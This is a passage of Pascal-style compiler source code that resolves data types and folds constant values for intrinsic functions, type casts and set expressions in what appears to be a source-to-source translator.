term.func_proc_p^.dtype_func_p; {get function's return data type} end; { ****************************** * * Term is an intrinsic function. } sst_term_ifunc_k: begin case term.ifunc_id of {which intrinsic function is it ?} { ******** } sst_ifunc_abs_k: begin {intrinsic function ABS} check_ifunc_args ( {get info about and check ifunc arguments} term, {term descriptor for whole intrinsic function} [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, {number of arguments found} [sst_dtype_int_k, sst_dtype_float_k], {set of all the legal base data type IDs} args_dt); {set of all base data type IDs found} case ifarg_p^.exp_p^.val.dtype of {what is base data type ID of term} sst_dtype_int_k: begin {argument is integer} term.dtype_p := sst_dtype_int_max_p; if term.val_fnd then begin {argument has known value ?} term.val.int_val := abs(ifarg_p^.exp_p^.val.int_val); end; end; sst_dtype_float_k: begin {argument is floating point} term.dtype_p := sst_dtype_float_max_p; if term.val_fnd then begin {argument has known value ?} term.val.float_val := abs(ifarg_p^.exp_p^.val.float_val); end; end; end; {end of argument data type cases} term.dtype_hard := false; end; {end of intrinsic function ABS} { ******** } sst_ifunc_addr_k: begin {instrinsic function ADDR} check_ifunc_args ( term, [], {no read/write access needed to arguments} 1, args_n, [ sst_dtype_int_k, sst_dtype_enum_k, sst_dtype_float_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_rec_k, sst_dtype_array_k, sst_dtype_set_k, sst_dtype_proc_k, sst_dtype_pnt_k], args_dt); if not sst_exp_simple(ifarg_p^.exp_p^) then begin {arg not a simple expression ?} syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'arg_addr_bad', nil, 0); end; sst_dtype_new (term.dtype_p); {create and init new data type descriptor} term.dtype_p^.symbol_p := nil; {make new data type pointer to arg data type} term.dtype_p^.dtype := sst_dtype_pnt_k; term.dtype_p^.bits_min := sst_dtype_uptr_p^.bits_min; term.dtype_p^.align_nat := sst_dtype_uptr_p^.align_nat; term.dtype_p^.align := sst_dtype_uptr_p^.align; term.dtype_p^.size_used := sst_dtype_uptr_p^.size_used; term.dtype_p^.size_align := sst_dtype_uptr_p^.size_align; term.dtype_p^.pnt_dtype_p := ifarg_p^.exp_p^.dtype_p; { * The ADDR function is reported to have a constant value if the value * can be determined at bind time. This means the argument must be a globally * known symbol or a static variable. } term.val_fnd := false; {init to ADDR function value is not known} if ifarg_p^.exp_p^.term1.ttype <> sst_term_var_k {arg not variable reference ?} then goto done_ifunc; with ifarg_p^.exp_p^.term1.var_var_p^.mod1.top_sym_p^: s do begin {S is arg sym} if {ADDR does have constant value ?} (sst_symflag_global_k in s.flags) or {symbol is globally known ?} (sst_symflag_static_k in s.flags) {symbol is in static storage ?} then begin term.val.pnt_dtype_p := term.dtype_p; {data type being pointed to} term.val.pnt_exp_p := ifarg_p^.exp_p; {expression being pointed to} term.val_fnd := true; end; end; {done with S abbreviation} end; { ******** } sst_ifunc_align_k: begin {min alignment needed by data type of arg} check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [ sst_dtype_int_k, sst_dtype_enum_k, sst_dtype_float_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_rec_k, sst_dtype_array_k, sst_dtype_set_k, sst_dtype_proc_k, sst_dtype_pnt_k], args_dt); term.dtype_p := sst_config.int_adr_p; term.val.int_val := ifarg_p^.exp_p^.dtype_p^.align; term.val_fnd := true; term.dtype_hard := false; end; { ******** } sst_ifunc_atan_k: begin {intrinsic function ATAN} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 2, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {both arguments have known constant value ?} case ifarg_p^.exp_p^.val.dtype of {what is base data type of arg 1 ?} sst_dtype_int_k: r1 := ifarg_p^.exp_p^.val.int_val; sst_dtype_float_k: r1 := ifarg_p^.exp_p^.val.float_val; end; ifarg_p := ifarg_p^.next_p; {go to next argument} case ifarg_p^.exp_p^.val.dtype of {what is base data type of arg 2 ?} sst_dtype_int_k: r2 := ifarg_p^.exp_p^.val.int_val; sst_dtype_float_k: r2 := ifarg_p^.exp_p^.val.float_val; end; if abs(r2) > 1.0E-100 then begin {R2 is big enough to divide by} term.val.float_val := arctan(r1/r2); end else begin term.val.float_val := pi_half; if r1 < 0 {take sign of arg 1 into account} then term.val.float_val := -term.val.float_val; if r2 < 0 {take sign of arg 2 into account} then term.val.float_val := -term.val.float_val; end ; end; {done handling args have known constant value} end; { ******** } sst_ifunc_char_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); term.dtype_p := sst_dtype_char_p; {function data type is always CHARACTER} if term.val_fnd then begin {argument has known constant value ?} term.val.char_val := chr(ifarg_p^.exp_p^.val.int_val); end; end; { ******** } sst_ifunc_cos_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := cos(ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := cos(ifarg_p^.exp_p^.val.float_val); end; end; {done handling arg has known constant value} end; { ******** } sst_ifunc_dec_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, args_n, [ sst_dtype_int_k, {all the data types with ordinal values} sst_dtype_enum_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_pnt_k], args_dt); term.dtype_p := ifarg_p^.exp_p^.dtype_p; term.val_fnd := false; if sst_dtype_int_k in args_dt then term.dtype_hard := false; if not ifarg_p^.exp_p^.val_fnd {input argument is not a known constant ?} then goto done_ifunc; term.val_fnd := true; {init to value will be known} case ifarg_p^.exp_p^.val.dtype of {what is data type of input arg's value ?} sst_dtype_int_k: begin term.val.int_val := ifarg_p^.exp_p^.val.int_val - 1; end; sst_dtype_enum_k: begin term.val.enum_p := ifarg_p^.exp_p^.val.enum_p^.enum_prev_p; if term.val.enum_p = nil then begin {no enumerated value here ?} syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'ifunc_dec_min', nil, 0); end; end; sst_dtype_char_k: begin if ord(ifarg_p^.exp_p^.val.char_val) = 0 then begin syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'ifunc_dec_min', nil, 0); end; term.val.char_val := chr(ord(ifarg_p^.exp_p^.val.char_val) - 1); end; otherwise term.val_fnd := false; end; end; { ******** } sst_ifunc_exp_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := exp(ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := exp(ifarg_p^.exp_p^.val.float_val); end; end; {done handling arg has known constant value} end; { ******** } sst_ifunc_first_k: begin check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [ sst_dtype_int_k, {all the data types with ordinal values} sst_dtype_enum_k, sst_dtype_bool_k, sst_dtype_char_k], args_dt); term.dtype_p := ifarg_p^.exp_p^.dtype_p; sst_dtype_resolve (term.dtype_p^, dt_p, dt); {resolve base data types} term.val_fnd := true; {this function always has a value} case dt_p^.dtype of sst_dtype_int_k: begin term.val.int_val := lshft(-1, dt_p^.bits_min-1); term.dtype_hard := false; end; sst_dtype_enum_k: term.val.enum_p := dt_p^.enum_first_p; sst_dtype_bool_k: term.val.bool_val := false; sst_dtype_char_k: term.val.char_val := chr(0); sst_dtype_range_k: begin term.val := dt_p^.range_first_p^.val; case dt of {what is base data type of subrange ?} sst_dtype_int_k: term.dtype_hard := false; end; end; otherwise syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'func_intrinsic_arg_dtype_bad', nil, 0); end; end; { ******** } sst_ifunc_inc_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, args_n, [ sst_dtype_int_k, {all the data types with ordinal values} sst_dtype_enum_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_pnt_k], args_dt); term.dtype_p := ifarg_p^.exp_p^.dtype_p; term.val_fnd := false; if sst_dtype_int_k in args_dt then term.dtype_hard := false; if not ifarg_p^.exp_p^.val_fnd {input argument is not a known constant ?} then goto done_ifunc; term.val_fnd := true; {init to value will be known} case ifarg_p^.exp_p^.val.dtype of {what is data type of input arg's value ?} sst_dtype_int_k: begin term.val.int_val := ifarg_p^.exp_p^.val.int_val + 1; end; sst_dtype_enum_k: begin term.val.enum_p := ifarg_p^.exp_p^.val.enum_p^.enum_next_p; if term.val.enum_p = nil then begin {no enumerated value here ?} syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'ifunc_inc_max', nil, 0); end; end; sst_dtype_char_k: begin term.val.char_val := chr(ord(ifarg_p^.exp_p^.val.char_val) + 1); end; otherwise term.val_fnd := false; end; end; { ******** } sst_ifunc_int_near_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_int_max_p; if term.val_fnd then begin {argument has known constant value ?} term.val.int_val := round(ifarg_p^.exp_p^.val.float_val); end; term.dtype_hard := false; end; { ******** } sst_ifunc_int_zero_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_int_max_p; if term.val_fnd then begin {argument has known constant value ?} term.val.int_val := trunc(ifarg_p^.exp_p^.val.float_val); end; term.dtype_hard := false; end; { ******** } sst_ifunc_last_k: begin check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [ sst_dtype_int_k, {all the data types with ordinal values} sst_dtype_enum_k, sst_dtype_bool_k, sst_dtype_char_k], args_dt); term.dtype_p := ifarg_p^.exp_p^.dtype_p; sst_dtype_resolve (term.dtype_p^, dt_p, dt); {resolve base data types} term.val_fnd := true; {this function always has a value} case dt_p^.dtype of sst_dtype_int_k: begin term.val.int_val := ~lshft(-1, dt_p^.bits_min-1); term.dtype_hard := false; end; sst_dtype_enum_k: term.val.enum_p := dt_p^.enum_last_p; sst_dtype_bool_k: term.val.bool_val := true; sst_dtype_char_k: begin term.val.char_val := chr(255); end; sst_dtype_range_k: begin term.val := dt_p^.range_last_p^.val; case dt of {what is base data type of subrange ?} sst_dtype_int_k: term.dtype_hard := false; end; end; otherwise syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'func_intrinsic_arg_dtype_bad', nil, 0); end; end; { ******** } sst_ifunc_ln_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: begin term.val.float_val := ln(ifarg_p^.exp_p^.val.int_val); end; sst_dtype_float_k: begin term.val.float_val := ln(ifarg_p^.exp_p^.val.float_val); end; end; end; {done handling arg has known constant value} end; { ******** } sst_ifunc_max_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} args_n_any, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); if args_n < 2 then begin {too few arguments ?} sys_msg_parm_int (msg_parm[1], 2); sys_msg_parm_int (msg_parm[2], args_n); syo_error (term.str_h, 'sst', 'func_intrinsic_args_too_few', msg_parm, 2); end; if sst_dtype_float_k in args_dt {any argument floating point ?} then begin {result will be floating point} term.dtype_p := sst_dtype_float_max_p; case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := ifarg_p^.exp_p^.val.int_val; sst_dtype_float_k: term.val.float_val := ifarg_p^.exp_p^.val.float_val; end; end else begin {result will be integer} term.dtype_p := sst_dtype_int_max_p; term.val.int_val := ifarg_p^.exp_p^.val.int_val; end ; ifarg_p := ifarg_p^.next_p; {go to second argument} if term.val_fnd then begin {all the arguments have known constant val ?} while ifarg_p <> nil do begin {once for each argument after first} if sst_dtype_float_k in args_dt then begin {result is floating point} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := max(term.val.float_val, ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := max(term.val.float_val, ifarg_p^.exp_p^.val.float_val); end; end else begin {result is integer} term.val.int_val := max(term.val.int_val, ifarg_p^.exp_p^.val.int_val); end ; ifarg_p := ifarg_p^.next_p; {advance to next argument in chain} end; {back and process this next argument} end; {done handling args are known constants} term.dtype_hard := false; end; {end of intrinsic function MAX} { ******** } sst_ifunc_min_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} args_n_any, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); if args_n < 2 then begin {too few arguments ?} sys_msg_parm_int (msg_parm[1], 2); sys_msg_parm_int (msg_parm[2], args_n); syo_error (term.str_h, 'sst', 'func_intrinsic_args_too_few', msg_parm, 2); end; if sst_dtype_float_k in args_dt {any argument floating point ?} then begin {result will be floating point} term.dtype_p := sst_dtype_float_max_p; case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := ifarg_p^.exp_p^.val.int_val; sst_dtype_float_k: term.val.float_val := ifarg_p^.exp_p^.val.float_val; end; end else begin {result will be integer} term.dtype_p := sst_dtype_int_max_p; term.val.int_val := ifarg_p^.exp_p^.val.int_val; end ; ifarg_p := ifarg_p^.next_p; {go to second argument} if term.val_fnd then begin {all the arguments have known constant val ?} while ifarg_p <> nil do begin {once for each argument after first} if sst_dtype_float_k in args_dt then begin {result is floating point} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := min(term.val.float_val, ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := min(term.val.float_val, ifarg_p^.exp_p^.val.float_val); end; end else begin {result is integer} term.val.int_val := min(term.val.int_val, ifarg_p^.exp_p^.val.int_val); end ; ifarg_p := ifarg_p^.next_p; {advance to next argument in chain} end; {back and process this next argument} end; {done handling args are known constants} term.dtype_hard := false; end; {end of intrinsic function MIN} { ******** } sst_ifunc_offset_k: begin check_ifunc_args ( term, [], {no read/write access needed to arguments} 1, args_n, [ sst_dtype_int_k, sst_dtype_enum_k, sst_dtype_float_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_rec_k, sst_dtype_array_k, sst_dtype_set_k, sst_dtype_range_k, sst_dtype_proc_k, sst_dtype_pnt_k], args_dt); term.dtype_p := sst_dtype_int_max_p; {result data type is always integer} term.dtype_hard := false; term.val_fnd := true; {this function always has a value} with ifarg_p^.exp_p^.term1: t do begin {T is first term in argument expression} if {check for definite errors} (t.next_p <> nil) or {compound expression ?} (t.op1 <> sst_op1_none_k) or {unary operator exists ?} (t.op2 <> sst_op2_none_k) or {binary operator exists ?} (t.ttype <> sst_term_var_k) {term not a "variable" descriptor ?} then goto arg_bad_offset; end; {done with T abbreviation} mod_p := addr(ifarg_p^.exp_p^.term1.var_var_p^.mod1); {init pnt to curr modifier} while mod_p <> nil do begin {once for each modifier in var descriptor} field_last := false; {init to last mod was not field in record} case mod_p^.modtyp of {what kind of modifier is this ?} sst_var_modtyp_top_k: begin {"root" modifier} case mod_p^.top_sym_p^.symtype of {what type of symbol is this ?} sst_symtype_dtype_k: begin {root modifier is a data type symbol} dt_p := mod_p^.top_sym_p^.dtype_dtype_p; end; sst_symtype_var_k: begin {root modifier is a variable name} dt_p := mod_p^.top_sym_p^.var_dtype_p; end; otherwise goto arg_bad_offset; end; {end of top modifier symbol type cases} term.val.int_val := 0; {init offset from start of this record} end; {end of modifier is top modifier} sst_var_modtyp_unpnt_k: begin {modifier is pointer dereference} if dt_p^.dtype <> sst_dtype_pnt_k {data type is not a pointer ?} then goto arg_bad_offset; dt_p := dt_p^.pnt_dtype_p; {pnt to dtype descriptor after unpoint} term.val.int_val := 0; {reset accumulated field offsets to zero} end; sst_var_modtyp_subscr_k: begin {modifier is array subscript} if dt_p^.ar_dtype_rem_p <> nil then dt_p := dt_p^.ar_dtype_rem_p else dt_p := dt_p^.ar_dtype_ele_p; term.val.int_val := 0; {reset accumulated field offsets to zero} end; sst_var_modtyp_field_k: begin {modifier is field in record} if mod_p^.field_sym_p^.field_ofs_bits <> 0 then begin {not address aligned ?} syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'arg_ifunc_offset_unaligned', nil, 0); end; term.val.int_val := term.val.int_val + {add in offset for this field} mod_p^.field_sym_p^.field_ofs_adr; field_last := true; {last modifier was field in record} end; otherwise sys_msg_parm_int (msg_parm[1], ord(mod_p^.modtyp)); syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'var_modifier_unknown', msg_parm, 1); end; while dt_p^.dtype = sst_dtype_copy_k do begin {resolve base data type} dt_p := dt_p^.copy_dtype_p; end; mod_p := mod_p^.next_p; {advance to next modifier in chain} end; {back for next modifier in this var desc} if not field_last then goto arg_bad_offset; {last modifier wasn't field in rec ?} end; { ******** } sst_ifunc_ord_val_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, args_n, [ sst_dtype_int_k, {all the data types with ordinal values} sst_dtype_enum_k, sst_dtype_bool_k, sst_dtype_char_k], args_dt); term.dtype_p := sst_dtype_int_max_p; {result data type is always integer} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} sst_ordval (ifarg_p^.exp_p^.val, term.val.int_val, stat); {get ordinal value} syo_error_abort (stat, ifarg_p^.exp_p^.str_h, '', '', nil, 0); end; end; { ******** } sst_ifunc_shift_lo_k: begin {logical shift of arg1 by arg2 bits right} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 2, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); term.dtype_p := sst_dtype_int_max_p; term.dtype_hard := false; if term.val_fnd then begin {arguments have known constant values ?} i1 := ifarg_p^.exp_p^.val.int_val; {get first argument value} ifarg_p := ifarg_p^.next_p; i2 := ifarg_p^.exp_p^.val.int_val; {get second argument value} if i2 >= 0 then begin {shifting to the right} term.val.int_val := rshft(i1, i2); end else begin {shifting to the left} term.val.int_val := lshft(i1, -i2); end ; end; end; { ******** } sst_ifunc_shiftl_lo_k: begin {logical shift left arg1 by arg2 bits} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 2, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); term.dtype_p := sst_dtype_int_max_p; term.dtype_hard := false; if term.val_fnd then begin {arguments have known constant values ?} i1 := ifarg_p^.exp_p^.val.int_val; {get first argument value} ifarg_p := ifarg_p^.next_p; i2 := ifarg_p^.exp_p^.val.int_val; {get second argument value} term.val.int_val := lshft(i1, i2); end; end; { ******** } sst_ifunc_shiftr_ar_k: begin {arithmetic shift right arg1 by arg2 bits} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 2, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); term.dtype_p := sst_dtype_int_max_p; term.dtype_hard := false; if term.val_fnd then begin {arguments have known constant values ?} i1 := ifarg_p^.exp_p^.val.int_val; {get first argument value} ifarg_p := ifarg_p^.next_p; i2 := ifarg_p^.exp_p^.val.int_val; {get second argument value} term.val.int_val := arshft(i1, i2); end; end; { ******** } sst_ifunc_shiftr_lo_k: begin {logical shift right arg1 by arg2 bits} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 2, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); term.dtype_p := sst_dtype_int_max_p; term.dtype_hard := false; if term.val_fnd then begin {arguments have known constant values ?} i1 := ifarg_p^.exp_p^.val.int_val; {get first argument value} ifarg_p := ifarg_p^.next_p; i2 := ifarg_p^.exp_p^.val.int_val; {get second argument value} term.val.int_val := rshft(i1, i2); end; end; { ******** } sst_ifunc_sin_k: begin check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, [sst_dtype_int_k, sst_dtype_float_k], args_dt); term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := sin(ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := sin(ifarg_p^.exp_p^.val.float_val); end; end; {done handling arg has known constant value} end; { ******** } sst_ifunc_size_align_k: begin {size padded to its own alignment rule} check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [ sst_dtype_int_k, sst_dtype_enum_k, sst_dtype_float_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_rec_k, sst_dtype_array_k, sst_dtype_set_k, sst_dtype_proc_k, sst_dtype_pnt_k], args_dt); term.dtype_p := sst_config.int_adr_p; term.dtype_hard := false; term.val.int_val := ifarg_p^.exp_p^.dtype_p^.size_align; term.val_fnd := true; end; { ******** } sst_ifunc_size_char_k: begin check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [sst_dtype_char_k, sst_dtype_array_k], args_dt); term.dtype_p := sst_config.int_adr_p; term.dtype_hard := false; dt_p := ifarg_p^.exp_p^.dtype_p; {resolve base data type of argument} while dt_p^.dtype = sst_dtype_copy_k do dt_p := dt_p^.copy_dtype_p; case dt_p^.dtype of {what data type ID of argument ?} sst_dtype_char_k: term.val.int_val := 1; sst_dtype_array_k: begin if not dt_p^.ar_string then begin syo_error (ifarg_p^.exp_p^.str_h, 'sst', 'func_intrinsic_arg_dtype_bad', nil, 0); end; term.val.int_val := dt_p^.ar_ind_n; end; end; term.val_fnd := true; end; { ******** } sst_ifunc_size_min_k: begin check_ifunc_args ( term, [], {argument does not need to have a value} 1, args_n, [ sst_dtype_int_k, sst_dtype_enum_k, sst_dtype_float_k, sst_dtype_bool_k, sst_dtype_char_k, sst_dtype_rec_k, sst_dtype_array_k, sst_dtype_set_k, sst_dtype_proc_k, sst_dtype_pnt_k], args_dt); term.dtype_p := sst_config.int_adr_p; term.dtype_hard := false; term.val.int_val := ifarg_p^.exp_p^.dtype_p^.size_used; term.val_fnd := true; end; { ******** } sst_ifunc_sqr_k: begin {value is square of argument} check_ifunc_args ( {get info about and check ifunc arguments} term, {term descriptor for whole intrinsic function} [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, {number of arguments found} [sst_dtype_int_k, sst_dtype_float_k], {set of all the legal base data type IDs} args_dt); {set of all base data type IDs found} case ifarg_p^.exp_p^.val.dtype of {what is base data type ID of term} sst_dtype_int_k: begin {argument is integer} term.dtype_p := sst_dtype_int_max_p; if term.val_fnd then begin {argument has known value ?} term.val.int_val := sqr(ifarg_p^.exp_p^.val.int_val); end; end; sst_dtype_float_k: begin {argument is floating point} term.dtype_p := sst_dtype_float_max_p; if term.val_fnd then begin {argument has known value ?} term.val.float_val := sqr(ifarg_p^.exp_p^.val.float_val); end; end; end; {end of argument data type cases} term.dtype_hard := false; end; { ******** } sst_ifunc_sqrt_k: begin {value is square root of argument} check_ifunc_args ( {get info about and check ifunc arguments} term, {term descriptor for whole intrinsic function} [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, {number of arguments found} [sst_dtype_int_k, sst_dtype_float_k], {set of all the legal base data type IDs} args_dt); {set of all base data type IDs found} term.dtype_p := sst_dtype_float_max_p; {result will always be floating point} term.dtype_hard := false; if term.val_fnd then begin {argument has known constant value ?} case ifarg_p^.exp_p^.val.dtype of sst_dtype_int_k: term.val.float_val := sqrt(ifarg_p^.exp_p^.val.int_val); sst_dtype_float_k: term.val.float_val := sqrt(ifarg_p^.exp_p^.val.float_val); end; end; {done handling arg has known constant value} end; { ******** } sst_ifunc_xor_k: begin {exclusive or of all arguments} check_ifunc_args ( term, [sst_rwflag_read_k], {arguments must have readable values} args_n_any, {number of arguments required} args_n, [sst_dtype_int_k], args_dt); if args_n < 2 then begin {too few arguments ?} sys_msg_parm_int (msg_parm[1], 2); sys_msg_parm_int (msg_parm[2], args_n); syo_error (term.str_h, 'sst', 'func_intrinsic_args_too_few', msg_parm, 2); end; term.dtype_p := sst_dtype_int_max_p; {result is always integer} term.dtype_hard := false; if term.val_fnd then begin {all the arguments have known value ?} term.val.int_val := ifarg_p^.exp_p^.val.int_val; {init value to first argument} ifarg_p := ifarg_p^.next_p; {advance to second argument} while ifarg_p <> nil do begin {once for each argument 2 thru N} term.val.int_val := {accumulate XOR result} xor(term.val.int_val, ifarg_p^.exp_p^.val.int_val); ifarg_p := ifarg_p^.next_p; {advance to next argument in chain} end; {back and process this new argument} end; {done handling term has know constant value} end; { ******** } sst_ifunc_setinv_k: begin {inversion of a set} check_ifunc_args ( term, {term descriptor for whole intrinsic function} [sst_rwflag_read_k], {arguments must have readable values} 1, {number of arguments required} args_n, {number of arguments found} [sst_dtype_set_k], {set of all the legal base data type IDs} args_dt); {set of all base data type IDs found} term.dtype_p := ifarg_p^.exp_p^.dtype_p; {same data type as argument} term.dtype_hard := ifarg_p^.exp_p^.dtype_hard; if not term.dtype_hard then begin {can't invert set of unsure data type} syo_error (term.str_h, 'sst', 'set_invert_dtype_ambiguous', nil, 0); end; term.val_fnd := false; {resolving value not implemented yet} end; { ******** } otherwise sys_msg_parm_int (msg_parm[1], ord(term.ifunc_id)); syo_error (term.str_h, 'sst', 'func_intrinsic_unknown', msg_parm, 1); end; {end of intrinsic function ID cases} done_ifunc: {jump here if done processing ifunc} end; {done with term is an intrinsic function} { ****************************** * * Term is a type-casting function. } sst_term_type_k: begin term.dtype_p := term.type_dtype_p; term.rwflag := term.type_exp_p^.rwflag; if term.dtype_p^.size_used <> term.type_exp_p^.dtype_p^.size_used then begin syo_error (term.str_h, 'sst', 'type_cast_mismatch_size', nil, 0); end; { * The constant value is resolved after the type-casting function for some * of the resulting data types when the argument has a known ordinal value. } if term.type_exp_p^.val_fnd then begin {argument has known value ?} sst_ordval ( {try to get argument's ordinal value} term.type_exp_p^.val, {argument's known value descriptor} i1, {returned ordinal value} stat); {error if no constant ordinal value exists} if sys_error(stat) then goto done_term_type; {can't convert this arg's value} sst_dtype_resolve ( {get resulting term's base data types} term.dtype_p^, dt_p, term.val.dtype); case term.val.dtype of {what kind of constant data type is here ?} sst_dtype_int_k: term.val.int_val := i1; otherwise goto done_term_type; {can't convert into these types} end; term.val_fnd := true; end; end; { ****************************** * * Term is a SET. } sst_term_set_k: begin term.rwflag := [sst_rwflag_read_k]; {set with explicit elements is read-only} sst_dtype_new (term.dtype_p); {create and init data type descriptor} term.dtype_p^.dtype := sst_dtype_set_k; {data type is SET} term.dtype_p^.set_dtype_final := false; {init to data type not wholly known} ele_p := term.set_first_p; {init current set element to first} if ele_p = nil then begin {NULL set ?} term.dtype_p^.set_dtype_p := sst_dtype_bool_p; {pick simple data type} term.dtype_p^.set_n_ent := 0; goto done_term_type; {all done processing this term} end; term.dtype_p^.set_dtype_p := nil; {indicate element data type not set yet} while ele_p <> nil do begin {once for each element listed in set} do_ele_exp (term, ele_p^.first_p^); {process ele value or range start expression} if ele_p^.last_p <> nil {range end expression exists ?} then do_ele_exp (term, ele_p^.last_p^); {process range end expression} ele_p := ele_p^.next_p; {advance to next element in set} end; {back and process this new set element} { * TERM.DTYPE_P^.SET_DTYPE_P is pointing to the base data type descriptor for * the set elements. ORD_MIN and ORD_MAX are the min/max possible ordinal * values for any elements as far as we know. If this range matches the * full range of the base data type, then use it directly for the elements * base data type. Otherwise, create an implicit subrange data type for * the set elements. } case term.dtype_p^.set_dtype_p^.dtype of sst_dtype_int_k: begin ord_min_dt := ord_min - 1; {always force subrange of this data type} ord_max_dt := ord_max + 1; end; sst_dtype_enum_k: begin ord_min_dt := 0; ord_max_dt := term.dtype_p^.set_dtype_p^.enum_last_p^.enum_ordval; end; sst_dtype_bool_k: begin ord_min_dt := 0; ord_max_dt := 1; end; sst_dtype_char_k: begin ord_min_dt := 0; ord_max_dt := 255; end; end; {end of set element data type cases} if (ord_min = ord_min_dt) and (ord_max = ord_max_dt) then begin {the subrange spans the whole data type} term.dtype_p^.set_dtype_final := true; {we know final data type for this set} end else begin {create subrange of base data type} if (ord_max - ord_min) > 1023 then begin {subrange too large ?} ord_min := 0; {pick arbitrary subrange} ord_max := 0; end; sst_dtype_new (dt_p); {create and init new data type descriptor} dt_p^.dtype := sst_dtype_range_k; {new data type is a subrange} dt_p^.bits_min := sst_config.int_machine_p^.bits_min; {init base fields} dt_p^.align_nat := sst_config.int_machine_p^.align_nat; dt_p^.align := sst_config.int_machine_p^.align; dt_p^.size_used := sst_config.int_machine_p^.size_used; dt_p^.size_align := sst_config.int_machine_p^.size_align; dt_p^.range_dtype_p := term.dtype_p^.set_dtype_p; {point to base data type} dt_p^.range_first_p := nil; dt_p^.range_last_p := nil; dt_p^.range_ord_first := ord_min; {starting ordinal value of range} dt_p^.range_n_vals := ord_max - ord_min + 1; {number of values in range} term.dtype_p^.set_dtype_p := dt_p; {subrange dtype is dtype of set elements} end ; term.dtype_p^.bits_min := ord_max - ord_min + 1; {one bit for each set element} term.dtype_p^.align_nat := sst_config.int_machine_p^.align_nat; term.dtype_p^.align := sst_config.int_machine_p^.align; term.dtype_p^.size_used := ( (term.dtype_p^.bits_min + sst_config.int_machine_p^.bits_min - 1) div sst_config.int_machine_p^.bits_min) * 